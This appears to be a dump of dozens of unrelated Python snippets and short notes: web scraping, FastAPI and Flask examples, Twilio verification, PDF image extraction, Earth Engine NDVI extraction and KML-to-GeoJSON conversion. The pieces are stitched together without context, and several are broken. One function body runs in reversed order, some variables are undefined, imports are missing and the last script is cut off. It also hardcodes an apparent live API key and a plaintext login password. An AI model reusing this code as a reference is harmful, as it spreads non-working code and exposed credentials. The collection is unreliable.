import time

path = r"C:\Drivers\chromedriver-win64\chromedriver.exe"
website = "https://www.adamchoi.co.uk/overs/detailed"

# Use the Service class to specify the path to chromedriver.exe
service = Service(executable_path=path)

# Use ChromeOptions for additional configurations
options = webdriver.ChromeOptions()
options.add_experimental_option("detach", True)

# Initialize the WebDriver with the specified service and options
driver = webdriver.Chrome(service=service, options=options)

# Navigate to the specified website
driver.get(website)

all_matches_button = driver.find_element("xpath", '//label[@analytics-event="All matches"]')
all_matches_button.click()

dropdown = Select(driver.find_element(By.ID, "country"))
dropdown.select_by_visible_text('Spain')

time.sleep(3)

matches = driver.find_elements(By.TAG_NAME, "tr")

date = []
home_team = []
score = []
away_team = []

for match in matches:
    date.append(match.find_element("xpath", "./td[1]").text)
    home_team.append(match.find_element("xpath", "./td[2]").text)
    score.append(match.find_element("xpath", "./td[3]").text)
    away_team.append(match.find_element("xpath", "./td[4]").text)

# Close the WebDriver when you're done
driver.quit()

df = pd.DataFrame({'date': date,
                   'home_team': home_team,
                   'score': score,
                   'away_team': away_team})
df.to_csv('football_data.csv', index=False)
print(df)
import fiftyone as fo
from fiftyone.zoo import load_zoo_dataset

def download_vehicle_images():
    # Specify the classes of interest (e.g., vehicles, cars)
    classes_of_interest = ["Car", "Truck", "Motorcycle", "Bus", "Van"]

    # Specify the maximum number of samples you want to download
    max_samples = 100  # You can adjust this number as needed

    # Load the Open Images V7 dataset using FiftyOne
    dataset = load_zoo_dataset(
        "open-images-v7",
        split="validation",
        label_types=["detections", "segmentations", "points"],
        classes=classes_of_interest,
        max_samples=max_samples,
    )

    # Save the downloaded dataset
    dataset.export(export_dir="/path/to/save/vehicle/images")

if __name__ == "__main__":
    # Execute the download function
    download_vehicle_images()
import cProfile

# Use `profile` if `cProfile` isn't available on your OS
# import profile


def adder(x, y):
	return x + y


cProfile.run('adder(10, 20)')
import timeit


def adder(x, y):
	return x + y


t = timeit.Timer(setup='from __main__ import adder', stmt='adder(10, 20)')
t.timeit()
while True:
    try:
        marks = float(input('Enter your marks to calculate your grade: \n'))
    except ValueError:
        print('Invalid input, try again')
        continue
    if marks > 100:
        print('your input must not be greater than 100')
    else:
        break

if 85 <= marks <= 100:
    print('You have grade A')
elif 65 <= marks < 85:
    print('You have grade B')
elif 41 <= marks < 65:
    print('You have grade C')
elif 0 <= marks < 41:
    print('You failed')
else:
    print('Invalid Marks')
How to write a great documentation (in 5 points)

1. Use question and answer look (more like FAQs)
2. Use pointers wherever possible
    a. maximum 5, preferably 3
    b. if goes beyond 5, try making sub-points instead
3. Diagrams wherever possible. a 🖼 is worth a 1000 words
4. Be precise, but accurate. And have  w h i t e  s p a c e s , increases readability.
5. Avoid similar synonyms, generous adjectives, spellnig and grammatical the mistakes
    a. repeat same words already used to refer something
    b. have links to go to something previously explained
    c. Avoid external links, instead provide a brief. Add link only for confidence (reduces distraction)
"""
Exercise 1.10: Evaluate a Gaussian Function
"""

from math import pi, exp, sqrt

m = 0
s = 2
x = 1

y = (1 / (sqrt(2 * pi) * s)*exp((-1/2) * (((x - m)/s) ** 2)))
print(y)

'''
Sample run:
    y = 0.176032663
'''
    
# If the program reached this point, that means the number is prime
return True  
# Loop through all numbers between 2 and n - 1, and check if n is NOT prime
i = 2
while i < n:
    if n % i == 0:
        return False
    i = i + 1
# Deal with special cases
if n == 0 or n == 1:
    return False
from flask import Flask, render_template
from flask.ext.wtf import Form, SubmitField, Field, TextInput

app = Flask(__name__)
app.config['SECRET_KEY'] = 'Shh!'


class CustomField(Field):
    widget = TextInput()
    
    def _value(self):
        if self.data:
            return u', '.join(self.data)
        else:
            return u''

    def process_formdata(self, valuelist):
        if valuelist:
            self.data = [x.strip() for x in valuelist[0].split(',')]
        else:
            self.data = []


class ExampleForm(Form):
    status = CustomField()
    submit = SubmitField('POST')
from sys import path
import os
path.append(os.path.realpath('../'))
# split()
# دالة تقوم بتقسيم السلسلة إلى قائمة من الكلمات باستخدام (المسافات أو أي نص آخر) كفاصل
# Syntax: string.split(sep=None, maxsplit=-1) -> list[LiteralString]
# sep => Separator    NOTE: By default any (whitespace) is a separator
# maxsplit => عايز التقسيم يكون في كام عنصر؟
# maxsplit => لو كتبت مثلا 2 ترجع 3عناصر وهكذا، يعني النتيجة بتكون +1 يعني التقسيم تم في 2 والباقي نزله في عنصر واحد الاخير

## أختها الوحيدة ##########################
# rsplit()  # Right Split
################################################################

txt1 = "welcome to the jungle"
txt2 = "welcome#to#the#jungle"

print("============(split)===================================")
x1 = txt1.split()           
x2 = txt1.split(" ",2)
x3 = txt2.split("#")
print(x1)                   # ['welcome', 'to', 'the', 'jungle']
print(x2)                   # ['welcome', 'to', 'the jungle']
print(x3)                   # ['welcome', 'to', 'the', 'jungle']

print("============(rsplit)===================================")
y1 = txt1.rsplit(None,2)
y2 = txt1.rsplit(" ",2)
print(y1)                    # ['welcome to', 'the', 'jungle']
print(y2)                    # ['welcome to', 'the', 'jungle']
person_info = {
    'Name': 'Ahmed',
    'Age': 25,
    'City': 'Cairo'
}
FROM python:3.9-slim-bullseye

ENV VIRTUAL_ENV=/opt/venv
RUN python3 -m venv $VIRTUAL_ENV
ENV PATH="$VIRTUAL_ENV/bin:$PATH"

# Install dependencies:
COPY requirements.txt .
RUN pip install -r requirements.txt

# Run the application:
COPY myapp.py .
CMD ["python", "myapp.py"]
Page segmentation modes:
  0    Orientation and script detection (OSD) only.
  1    Automatic page segmentation with OSD.
  2    Automatic page segmentation, but no OSD, or OCR.
  3    Fully automatic page segmentation, but no OSD. (Default)
  4    Assume a single column of text of variable sizes.
  5    Assume a single uniform block of vertically aligned text.
  6    Assume a single uniform block of text.
  7    Treat the image as a single text line.
  8    Treat the image as a single word.
  9    Treat the image as a single word in a circle.
 10    Treat the image as a single character.
 11    Sparse text. Find as much text as possible in no particular order.
 12    Sparse text with OSD.
 13    Raw line. Treat the image as a single text line,
                        bypassing hacks that are Tesseract-specific.
from fastapi import FastAPI, HTTPException, Security, status
from fastapi.security import APIKeyHeader


api_keys = [
    "my_api_key"
]

app = FastAPI()

api_key_header = APIKeyHeader(name="X-API-Key")

def get_api_key(api_key_header: str = Security(api_key_header)) -> str:
    if api_key_header in api_keys:
        return api_key_header
    raise HTTPException(
        status_code=status.HTTP_401_UNAUTHORIZED,
        detail="Invalid or missing API Key",
    )

@app.get("/protected")
def protected_route(api_key: str = Security(get_api_key)):
    # Process the request for authenticated users
    return {"message": "Access granted!"}

if __name__ == "__main__":
    import uvicorn
    uvicorn.run(app, host="0.0.0.0", port=8000)


wget https://blah/blah/stats --header="X-API-Key: key1"
from fastapi import FastAPI
from fastapi.responses import StreamingResponse
import io
import pandas as pd

app = FastAPI()

@app.get("/get_csv")
async def get_csv():
    df = pd.DataFrame(dict(col1 = 1, col2 = 2), index=[0])
    stream = io.StringIO()
    df.to_csv(stream, index = False)
    response = StreamingResponse(iter([stream.getvalue()]),
                                 media_type="text/csv"
                                )
    response.headers["Content-Disposition"] = "attachment; filename=export.csv"
    return response
Alternate command for 1 GPU:

sockeye-train \
    --prepared-data prepared --validation-source dev.en.bpe \
    --validation-target dev.de.bpe --output model --num-layers 6 \
    --transformer-model-size 1024 --transformer-attention-heads 16 \
    --transformer-feed-forward-num-hidden 4096 --amp --batch-type max-word \
    --batch-size 5000 --update-interval 80 --checkpoint-interval 500 \
    --max-updates 15000 --optimizer-betas 0.9:0.98 \
    --initial-learning-rate 0.06325 \
    --learning-rate-scheduler-type inv-sqrt-decay --learning-rate-warmup 4000 \
    --seed 1
# Best min size, in kB.
best_min_size = (32000 + 100000) * (1.073741824 * duration) / (8 * 1024)
# Download the helper library from https://www.twilio.com/docs/python/install
import os
from twilio.rest import Client


# Find your Account SID and Auth Token at twilio.com/console
# and set the environment variables. See http://twil.io/secure
account_sid = os.environ['TWILIO_ACCOUNT_SID']
auth_token = os.environ['TWILIO_AUTH_TOKEN']
client = Client(account_sid, auth_token)

verification = client.verify \
                     .v2 \
                     .services('VAXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX') \
                     .verifications \
                     .create(to='+15017122661', channel='sms')

print(verification.sid)
# Download the helper library from https://www.twilio.com/docs/python/install
import os
from twilio.rest import Client


# Find your Account SID and Auth Token at twilio.com/console
# and set the environment variables. See http://twil.io/secure
account_sid = os.environ['TWILIO_ACCOUNT_SID']
auth_token = os.environ['TWILIO_AUTH_TOKEN']
client = Client(account_sid, auth_token)

verification = client.verify \
                     .v2 \
                     .services('VAXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX') \
                     .verifications \
                     .create(to='+15017122661', channel='sms')

print(verification.sid)
1. Create File "Dockerfile" in same directory as "docker-compose.yaml"
2. Write 
FROM apache/airflow:2.0.2
RUN pip install --no-cache-dir geopandas another-package
3. Build new image:
docker build . --tag projectname-airflow:2.0.2
4. In "docker-compose.yaml" replace
image: ${AIRFLOW_IMAGE_NAME:-apache/airflow:2.0.2}
with 
image: ${AIRFLOW_IMAGE_NAME:-projectname-airflow:2.0.2}
5. In Shell move to directory an run
docker build . --tag projectname-airflow:2.0.2
6. Epic win
JupyterHub.ensureService({waitForReady:true})
import holidays
from datetime import datetime, timedelta


# Get current date/time
tday = datetime.now()
testday = datetime(2023,12,1,13,13,0)    # for debug only

tday = testday    # for debug only
aims_rec_date = tday.strftime('%Y-%m-%d')
aims_time = tday.strftime('%H:%M:%S')
same_day_despatch_cut_off_time = datetime.strptime(aims_rec_date + " 13:00:00", "%Y-%m-%d %H:%M:%S")
add_days = 0

print(f"*******************************\nReceipt: {aims_rec_date} @ {aims_time}")

# Early enough for same-day despatch?
wk_day = int(tday.strftime('%w'))
if wk_day in range(1,5+1):
    despatch_today = tday < same_day_despatch_cut_off_time
    print(f"Despatch today: {despatch_today}")
    if not despatch_today:
        add_days = 1
else:
    print("Weekend...")

# Set provisional despatch date
aims_despatch_date = (tday + timedelta(days=add_days))

# Only interested in these public holidays
occasions = [
    "New Year's Day",
    "Good Friday",
    "Easter Monday [England/Wales/Northern Ireland]",
    "May Day",
    "Spring Bank Holiday",
    "Late Summer Bank Holiday [England/Wales/Northern Ireland]",
    "Christmas Day",
    "Boxing Day",
]
uk_holidays = holidays.UnitedKingdom()

print(f"UK Holiday: {aims_despatch_date in uk_holidays}")

# Amend provisional despatch date if not working day
while aims_despatch_date in uk_holidays or int(aims_despatch_date.strftime('%w')) in [0,6]:
    print("****skip-a-day****")
    try:    # amend for public holiday
        occasion = uk_holidays[aims_despatch_date]
        if occasion in occasions:
            aims_despatch_date = (aims_despatch_date + timedelta(days=1))
            wk_day = aims_despatch_date.strftime('%w')
        else:
            break
    except Exception as e:    # amend for weekend
        aims_despatch_date = (aims_despatch_date + timedelta(days=1))
        wk_day = aims_despatch_date.strftime('%w')


print(f"Despatch: {aims_despatch_date.strftime('%Y-%m-%d')}\n*******************************\n")
# Assume -9999 is a missing data flag
df.replace(-9999, np.NaN)
# Alternatively, perform this when creating the dataframe:
pd.read_csv("https://www.atmos.albany.edu/products/metarCSV/world_metar_latest.csv", sep='\s+',na_values=['9999.00','-9999.0'])
import xarray as xr
import numpy as np
from xarray.core.duck_array_ops import isnull


array = xr.DataArray([1, np.nan, 3], dims="x")
array

%time np.sum(isnull(array.data), axis=()).sum()
# core/settings.py 

# other settings....

CACHES = {
        "default": {
            "BACKEND": "django_redis.cache.RedisCache",
            "LOCATION": "redis://redis:6379/",
            "OPTIONS": {
                "CLIENT_CLASS": "django_redis.client.DefaultClient"
            },
        }
    }
t = int(input(""))
p = 0
mylist = []
if t >= 0 and t < 101:
    while p<t:
        a = int(input("a "))
        b = int(input("b "))
        c = int(input("c "))
        if a <= 20000 and a >= 1:
            if b <= 20000 and a >=1:
                if c <= 20000 and c >=1:
                    if a+b<=c or a+c<=b or b+c<=a:
                        txt = ("nelze sestrojit")
                    else:
                        if a == b and b == c and c == a:
                            txt = ("rovnostranny")
                        elif a == b or b == c or c == a:
                            txt = ("rovnoramenny")
                        else:
                            txt = ("obecny")
                else:
                    txt = ("moc velké nebo malé číslo")
            else:
                txt = ("moc velké nebo malé číslo")
        else:
            txt = ("moc velké nebo malé číslo")
        p = p+1
        mylist.append(txt)
        print(p)
    print(mylist)
else:
    print("syntax")
def res(vys):
    for x in vys:
        print(x)
try:
    s = int(input("s "))
    p = 0
    lst = []
    if s >=1 and s <=100:
        while p<s:
            z = input("z ")
            if len(z) >= 1 and len(z) <= 50:
                try:
                    num = int(z)
                    kys = type(num) == int
                except:
                    kys = z.isupper()     
                if kys == True:
                    pal = z[::-1]
                    if z == pal:
                        txt = "yes"
                    else:
                        txt = "no"
                else:
                    txt = "syntax"
            else:
                txt = "syntax"
            p = p+1
            lst.append(txt)
            print("")
        res(lst)
    else:
        print("syntax")
except:
    print("syntax")
import cv2
import numpy as np

img = cv2.imread('blackdots.jpg')
gray_img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)

ret, thresh = cv2.threshold(gray_img, 170, 255, cv2.THRESH_BINARY) # <--- Try different values here

accum_size = 1
# Minimum distance between the centers of the detected circles.
minDist = 30
#First method-specific parameter. In case of CV_HOUGH_GRADIENT , it is the higher threshold of the two passed to the Canny() edge detector (the lower one is twice smaller).
param1 = 50
# Second method-specific parameter. In case of CV_HOUGH_GRADIENT , it is the accumulator threshold for the circle centers at the detection stage. The smaller it is, the more false circles may be detected. Circles, corresponding to the larger accumulator values, will be returned first.
param2 = 5
#
minRadius = 1
#
maxRadius = 10
circles = cv2.HoughCircles(thresh, cv2.HOUGH_GRADIENT, accum_size, minDist,
                           param1=param1, param2=param2,
                           minRadius=minRadius, maxRadius=maxRadius)
circles = circles.reshape(1,circles.shape[1], circles.shape[2])
if circles is not None:
    circles = np.uint16(np.around(circles))
    for ind, i in enumerate(circles[0, :]):
        center = (i[0], i[1])
        radius = 15
        cv2.circle(img, center, radius, (255, 0, 255), 3)

thresh = cv2.resize(thresh, (1280, 720)) # <---- This is just for easier display
img = cv2.resize(img, (1280, 720)) # <---- This is just for easier display
cv2.imwrite('circles_black_dot.png', img)
cv2.imwrite('threshold_black_dots.png', thresh)
cdo -expr,'var = ((var > 0.005)) ? var : 0.05' infile outfile
# Create a virtual environment
python -m venv env

# Activate virtual environment
source env/bin/activate
print(c3.Pkg.file('meta://esg/src/model/mentionTracking/EsgMentionTrackingMl.MentionTrackingPipeline.py').readString())
ls = [1, 2, 9, 4, 5, 2, 3, 9, 1]
result = max(ls, key=ls.count)

# or
# result = max(set(ls), key=ls.count)
# STEP 1
# import libraries
import fitz
import io
from PIL import Image
  
# STEP 2
# file path you want to extract images from
file = "/content/pdf_file.pdf"
  
# open the file
pdf_file = fitz.open(file)
  
# STEP 3
# iterate over PDF pages
for page_index in range(len(pdf_file)):
    
    # get the page itself
    page = pdf_file[page_index]
    image_list = page.getImageList()
      
    # printing number of images found in this page
    if image_list:
        print(f"[+] Found a total of {len(image_list)} images in page {page_index}")
    else:
        print("[!] No images found on page", page_index)
    for image_index, img in enumerate(page.getImageList(), start=1):
        
        # get the XREF of the image
        xref = img[0]
          
        # extract the image bytes
        base_image = pdf_file.extractImage(xref)
        image_bytes = base_image["image"]
          
        # get the image extension
        image_ext = base_image["ext"]
# extract images from pdf file
import fitz
doc = fitz.open("file.pdf")
for i in range(len(doc)):
    for img in doc.getPageImageList(i):
        xref = img[0]
        pix = fitz.Pixmap(doc, xref)
        if pix.n < 5:       # this is GRAY or RGB
            pix.writePNG("p%s-%s.png" % (i, xref))
        else:               # CMYK: convert to RGB first
            pix1 = fitz.Pixmap(fitz.csRGB, pix)
            pix1.writePNG("p%s-%s.png" % (i, xref))
            pix1 = None
        pix = None
import subprocess as sp
import json
import os
import sys


for year in range(1980,2015):
    print(year)
    cmd=f' mv {year}/pl_*.nc plFiles/'
    #print(cmd)
    sp.run(cmd, shell=True)
#libraries
import datetime as dt
import xarray as xr
import fsspec
import s3fs
from matplotlib import pyplot as plt
import numpy as np
import pandas as pd


#### AWS repository link - https://registry.opendata.aws/mur/

%%time
file_location = 's3://mur-sst/zarr'

ikey = fsspec.get_mapper(file_location, anon=True)

ds_sst = xr.open_zarr(ikey,consolidated=True)

ds_sst

data=ds_sst.sel(lat=slice(10,15),lon=slice(-68,-67))

data.analysed_sst[0,:,:].where(dataMask[0,:,:]==1).plot()


dataMask=ds_sst.mask.sel(lat=slice(10,15),lon=slice(-68,-67))
dataMask

data.analysed_sst[0,:,:].where(dataMask[0,:,:]==1).to_netcdf('testMUR.nc')

sst=xr.open_dataset('testMUR.nc')
sst.analysed_sst.plot()


#!/usr/bin/env python3
"""
License: MIT License
Copyright (c) 2023 Miel Donkers

Very simple HTTP server in python for logging requests
Usage::
    ./server.py [<port>]
"""
from http.server import BaseHTTPRequestHandler, HTTPServer
import logging

class S(BaseHTTPRequestHandler):
    def _set_response(self):
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()

    def do_GET(self):
        logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))
        self._set_response()
        self.wfile.write("GET request for {}".format(self.path).encode('utf-8'))

    def do_POST(self):
        content_length = int(self.headers['Content-Length']) # <--- Gets the size of data
        post_data = self.rfile.read(content_length) # <--- Gets the data itself
        logging.info("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n",
                str(self.path), str(self.headers), post_data.decode('utf-8'))

        self._set_response()
        self.wfile.write("POST request for {}".format(self.path).encode('utf-8'))

def run(server_class=HTTPServer, handler_class=S, port=8080):
    logging.basicConfig(level=logging.INFO)
    server_address = ('', port)
    httpd = server_class(server_address, handler_class)
    logging.info('Starting httpd...\n')
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass
    httpd.server_close()
    logging.info('Stopping httpd...\n')

if __name__ == '__main__':
    from sys import argv

    if len(argv) == 2:
        run(port=int(argv[1]))
    else:
        run()
import re
s = "string. With. Punctuation?"
s = re.sub(r'[^\w\s]','',s)
# \w matches any word character (equivalent to [a-zA-Z0-9_])
# \s matches any whitespace character (equivalent to [\r\n\t\f\v ])
from serpapi import GoogleSearch

params = {
  "q": "Coffee",
  "location": "Austin, Texas, United States",
  "hl": "en",
  "gl": "us",
  "google_domain": "google.com",
  "api_key": "381f56d7198076f0606f9d563798774bd6f56899511e8b4770216e5facd8668f"
}

search = GoogleSearch(params)
results = search.get_dict()
from langchain.embeddings.sentence_transformer import SentenceTransformerEmbeddings
from langchain.text_splitter import CharacterTextSplitter
from langchain.vectorstores import Chroma
from langchain.document_loaders import TextLoader

# load the document and split it into chunks
loader = TextLoader("")
documents = loader.load()
len(documents)
print(documents[0])

# split it into chunks
text_splitter = CharacterTextSplitter(chunk_size=1000, chunk_overlap=0)
docs = text_splitter.split_documents(documents)
len(docs)
print(docs[0])


# create the open-source embedding function
embedding_function = HuggingFaceEmbeddings

# load it into Chroma
db = Chroma.from_documents(docs, embedding_function, persist_directory="./chroma_db")

# query it
#query = "Question"
#docs = db.similarity_search(query)

# print results
print(docs[0].page_content)

docs = db2.similarity_search(query)
# Route to blacklist a creator
@app.route('/blacklist_creator/<int:creator_id>', methods=['POST'])
def blacklist_creator(creator_id):
    admin_id = session['user_id'] 

    
    creator_blacklist = CreatorBlacklist.query.filter_by(admin_id=admin_id, creator_id=creator_id).first()
    if creator_blacklist:
        flash('Creator is already blacklisted.', 'danger')
    else:
        creator_blacklist = CreatorBlacklist(admin_id=admin_id, creator_id=creator_id)
        db.session.add(creator_blacklist)
        db.session.commit()
        flash('Creator has been blacklisted.', 'success')

    return redirect(url_for('review_creator'))

# Route to whitelist a creator
@app.route('/whitelist_creator/<int:creator_id>', methods=['POST'])
def whitelist_creator(creator_id):
    admin_id = session['user_id']  
    creator_blacklist = CreatorBlacklist.query.filter_by(admin_id=admin_id, creator_id=creator_id).first()
    if creator_blacklist:
        db.session.delete(creator_blacklist)
        db.session.commit()
        flash('Creator has been whitelisted.','success')
    else:
        flash('Creator was not blacklisted.','danger')
    return redirect(url_for('review_creator'))  
docsearch.as_retriever(search_type="mmr")

# Retrieve more documents with higher diversity- useful if your dataset has many similar documents
docsearch.as_retriever(search_type="mmr", search_kwargs={'k': 6, 'lambda_mult': 0.25})

# Fetch more documents for the MMR algorithm to consider, but only return the top 5
docsearch.as_retriever(search_type="mmr", search_kwargs={'k': 5, 'fetch_k': 50})

# Only retrieve documents that have a relevance score above a certain threshold
docsearch.as_retriever(search_type="similarity_score_threshold", search_kwargs={'score_threshold': 0.8})

# Only get the single most similar document from the dataset
docsearch.as_retriever(search_kwargs={'k': 1})

# Use a filter to only retrieve documents from a specific paper
docsearch.as_retriever(search_kwargs={'filter': {'paper_title':'GPT-4 Technical Report'}})
engine = create_engine(
    f"trino://{user}:{user_key}@{host}:{port}/{catalog}", 
    connect_args={
        "auth": BasicAuthentication(user, user_key),
        "http_scheme": "https",
    }
)
connection = engine.connect()
query = f"""

"""

pd.read_sql(query, connection)
'''def download_data(urls):
    filenames = []
    
    for i, link in enumerate(urls):
        try:
            result = requests.get(link, cookies={'urs_user': 'liviaalvzs', 'urs_pass': 'Ss1234567890?'})
            result.raise_for_status()
            
            basename = get_filenames_from_urls(link)
            filenames.append(basename)
            
            with open(basename, 'wb') as f:
                f.write(result.content)
            
            print(f'O arquivo do link {link} foi baixado com sucesso e salvo como {basename}.')
            
        except requests.exceptions.HTTPError as errh:
            print ("HTTP Error:",errh)
        except requests.exceptions.ConnectionError as errc:
            print ("Error Connecting:",errc)
        except requests.exceptions.Timeout as errt:
            print ("Timeout Error:",errt)
        except requests.exceptions.RequestException as err:
            print ("Something went wrong:",err)
        
    return filenames
python3 manage.py makemigrations  --settings=CheckInPlatform.settings.localpkt 

python3 manage.py migrate  --settings=CheckInPlatform.settings.localpkt
import pandas as pd
import sqlite3

# Create database
conn = sqlite3.connect('guests.db')
c = conn.cursor()

# Create table
c.execute('''CREATE TABLE guests
             (id INTEGER PRIMARY KEY AUTOINCREMENT,
              name TEXT,
              phone TEXT,
              email TEXT,
              visits INTEGER)''')

# Insert data
df = pd.read_csv('guests.csv')
df.to_sql('guests', conn, if_exists='append', index=False)

# Close connection
conn.close()
import os
import zipfile

def zipdir(path, ziph):
    # ziph is zipfile handle
    for root, dirs, files in os.walk(path):
        for file in files:
            ziph.write(os.path.join(root, file),
                       os.path.relpath(os.path.join(root, file),
                                       os.path.join(path, '..')))

with zipfile.ZipFile('/content/m1.Zip', 'w', zipfile.ZIP_DEFLATED) as zipf:
    zipdir('/content/m1', zipf)
import numpy as np
import matplotlib.pyplot as plt

# Create a sample dataset
data = np.random.randn(1000)

# Calculate the number of bins
num_bins = 10

# Create a histogram
hist, bins = np.histogram(data, bins=num_bins)

# Plot the histogram
plt.bar(bins[:-1], hist, width=bins[1] - bins[0])
plt.xlabel("Value")
plt.ylabel("Frequency")
plt.title("Histogram of Sample Data")
plt.show()
pip install -U pip setuptools
pip install wheel

!pip install eeconvert

pip install --upgrade urllib3

import pandas as pd
import geopandas as gpd
import datetime
import ee
import eeconvert

ee.Authenticate()
ee.Initialize()

from google.colab import drive
drive.mount('/content/drive')

Maiz_str = '/content/drive/MyDrive/Puntos/SHP/Col_2021_Maiz.shp'
Soja_str = '/content/drive/MyDrive/Puntos/SHP/Col_2021_Soja.shp'

df = gpd.read_file(Maiz_str, parse_dates=['Fecha_Siembra', 'Rango_Floor','Rango_Top'])
#df = gpd.read_file(Soja_str, parse_dates=['Fecha_Cosecha', 'Date_R3_Fr', 'Date_R6_Fr'])# en el registro 315 modifiqué el año 0201 por 2016 de la columna Fecha_Cosecha
#df = df.head(10)
display(df.columns)

df['Start_Date'] = pd.to_datetime(df['Rango_Flor']).dt.strftime('%Y-%m-%d')
df['End_Date'] = pd.to_datetime(df['Rango_Top_']).dt.strftime('%Y-%m-%d')


#df['Start_Date'] = pd.to_datetime(df['Date_R3_Fr']).dt.strftime('%Y-%m-%d')
#df['End_Date'] = pd.to_datetime(df['Date_R6_Fr']).dt.strftime('%Y-%m-%d')

df = df[df['Start_Date'].notna()]
df = df[df['End_Date'].notna()]
df = df[df['Longitud'].notna()]
df = df[df['Latitud'].notna()]

df = df[['Start_Date','End_Date', 'geometry', 'Parcela']]

new_df = pd.DataFrame([],columns=['id', 'longitude', 'latitude', 'time', 'NDVI', 'Parcela'])

for index, row in df.iterrows():
  newGDF = df.filter(items = [index], axis=0)
  fc = eeconvert.gdfToFc(newGDF)
  feature = fc.geometry().buffer(-125)
  print(row.Parcela)
  Start_Date = ee.Date(row.Start_Date)
  End_Date = ee.Date(row.End_Date)

  dataset = ee.ImageCollection("MODIS/061/MOD13Q1").select('NDVI').filter(ee.Filter.date(Start_Date,End_Date))
  NDVIvalues = dataset.getRegion(feature, 250).getInfo()
  NDVI_df = pd.DataFrame(NDVIvalues)
  NDVI_df.columns = NDVI_df.iloc[0]
  NDVI_df = NDVI_df.iloc[1:].reset_index(drop=True)
  NDVI_df.insert(1, "Parcela", row.Parcela)
  new_df = new_df.append(NDVI_df)

new_df.to_csv('/content/drive/MyDrive/Puntos/NDVI_Poligonos_Maiz.csv',header=True, index=False)
import os
import glob
import geopandas as gpd
import pandas as pd
import re

json_dir_name = "/Users/agroclimate/Documents/PriceFrobes/Uruguay/Poligonos/GeoJson/2023/"
json_pattern = os.path.join(json_dir_name,'*.geojson')
file_list = glob.glob(json_pattern)

collection = gpd.GeoDataFrame([])

for file in file_list:
    print(file)
    newGpd = gpd.read_file(file)
    newGpd['NAME'] = re.sub(r"[^a-zA-Z0-9]","_",os.path.basename(file)[:-8])
    collection = pd.concat([collection,newGpd])

collection = collection.loc[collection.geometry.geom_type=='Polygon']
collection.to_file('/Users/agroclimate/Documents/PriceFrobes/Uruguay/Poligonos/GeoJson/Col_2023_name.shp')
from shapely.geometry import *
import glob
import fiona
from zipfile import ZipFile
import pandas as pd
import io
import geopandas as gpd
from fastkml import kml
import shapely

def remove_third_dimension(geom):
    if geom.is_empty:
        return geom

    if isinstance(geom, Polygon):
        exterior = geom.exterior
        new_exterior = remove_third_dimension(exterior)

        interiors = geom.interiors
        new_interiors = []
        for int in interiors:
            new_interiors.append(remove_third_dimension(int))

        return Polygon(new_exterior, new_interiors)

    elif isinstance(geom, LinearRing):
        return LinearRing([xy[0:2] for xy in list(geom.coords)])

    elif isinstance(geom, LineString):
        return LineString([xy[0:2] for xy in list(geom.coords)])

    elif isinstance(geom, Point):
        return Point([xy[0:2] for xy in list(geom.coords)])

    elif isinstance(geom, MultiPoint):
        points = list(geom.geoms)
        new_points = []
        for point in points:
            new_points.append(remove_third_dimension(point))

        return MultiPoint(new_points)

    elif isinstance(geom, MultiLineString):
        lines = list(geom.geoms)
        new_lines = []
        for line in lines:
            new_lines.append(remove_third_dimension(line))

        return MultiLineString(new_lines)

    elif isinstance(geom, MultiPolygon):
        pols = list(geom.geoms)

        new_pols = []
        for pol in pols:
            new_pols.append(remove_third_dimension(pol))

        return MultiPolygon(new_pols)

    elif isinstance(geom, GeometryCollection):
        geoms = list(geom.geoms)

        new_geoms = []
        for geom in geoms:
            new_geoms.append(remove_third_dimension(geom))

        return GeometryCollection(new_geoms)

    else:
        raise RuntimeError("Currently this type of geometry is not supported: {}".format(type(geom)))
        
fiona.drvsupport.supported_drivers['kml'] = 'rw'
fiona.drvsupport.supported_drivers['KML'] = 'rw'
fiona.drvsupport.supported_drivers['libkml'] = 'rw'
fiona.drvsupport.supported_drivers['LIBKML'] = 'rw'

outDir = '/Users/agroclimate/Documents/PriceFrobes/Uruguay/Poligonos/GeoJson/2023/'
files = glob.glob('/Users/agroclimate/Documents/PriceFrobes/Uruguay/Poligonos/KMZ 2023/**/*.kml', recursive=True)

for file in files:
    print(file)
    polys = gpd.read_file(file, driver='KML')

    name = polys.Name
    geom = polys.geometry
    file_name = os.path.basename(file)[:-4]
    
    for (geom, name) in zip(geoms, names):
        geom = remove_third_dimension(geom)
        gdf = gpd.GeoDataFrame(index=[0], crs='epsg:4326', geometry=[geom])
        
        gdf.to_file(outDir+file_name+ "_"+name+'.geojson', driver='GeoJSON')
from shapely.geometry import *
import glob
from zipfile import ZipFile
import pandas as pd
import io
import geopandas as gpd
from fastkml import kml
import shapely

def remove_third_dimension(geom):
    if geom.is_empty:
        return geom

    if isinstance(geom, Polygon):
        exterior = geom.exterior
        new_exterior = remove_third_dimension(exterior)

        interiors = geom.interiors
        new_interiors = []
        for int in interiors:
            new_interiors.append(remove_third_dimension(int))

        return Polygon(new_exterior, new_interiors)

    elif isinstance(geom, LinearRing):
        return LinearRing([xy[0:2] for xy in list(geom.coords)])

    elif isinstance(geom, LineString):
        return LineString([xy[0:2] for xy in list(geom.coords)])

    elif isinstance(geom, Point):
        return Point([xy[0:2] for xy in list(geom.coords)])

    elif isinstance(geom, MultiPoint):
        points = list(geom.geoms)
        new_points = []
        for point in points:
            new_points.append(remove_third_dimension(point))

        return MultiPoint(new_points)

    elif isinstance(geom, MultiLineString):
        lines = list(geom.geoms)
        new_lines = []
        for line in lines:
            new_lines.append(remove_third_dimension(line))

        return MultiLineString(new_lines)

    elif isinstance(geom, MultiPolygon):
        pols = list(geom.geoms)

        new_pols = []
        for pol in pols:
            new_pols.append(remove_third_dimension(pol))

        return MultiPolygon(new_pols)

    elif isinstance(geom, GeometryCollection):
        geoms = list(geom.geoms)

        new_geoms = []
        for geom in geoms:
            new_geoms.append(remove_third_dimension(geom))

        return GeometryCollection(new_geoms)

    else:
        raise RuntimeError("Currently this type of geometry is not supported: {}".format(type(geom)))
        
outDir = '/Users/agroclimate/Documents/PriceFrobes/Uruguay/Poligonos/GeoJson/2023/'
files = glob.glob('/Users/agroclimate/Documents/PriceFrobes/Uruguay/Poligonos/KMZ 2023/**/*.kmz', recursive=True)

for file in files:
    print(file)
    
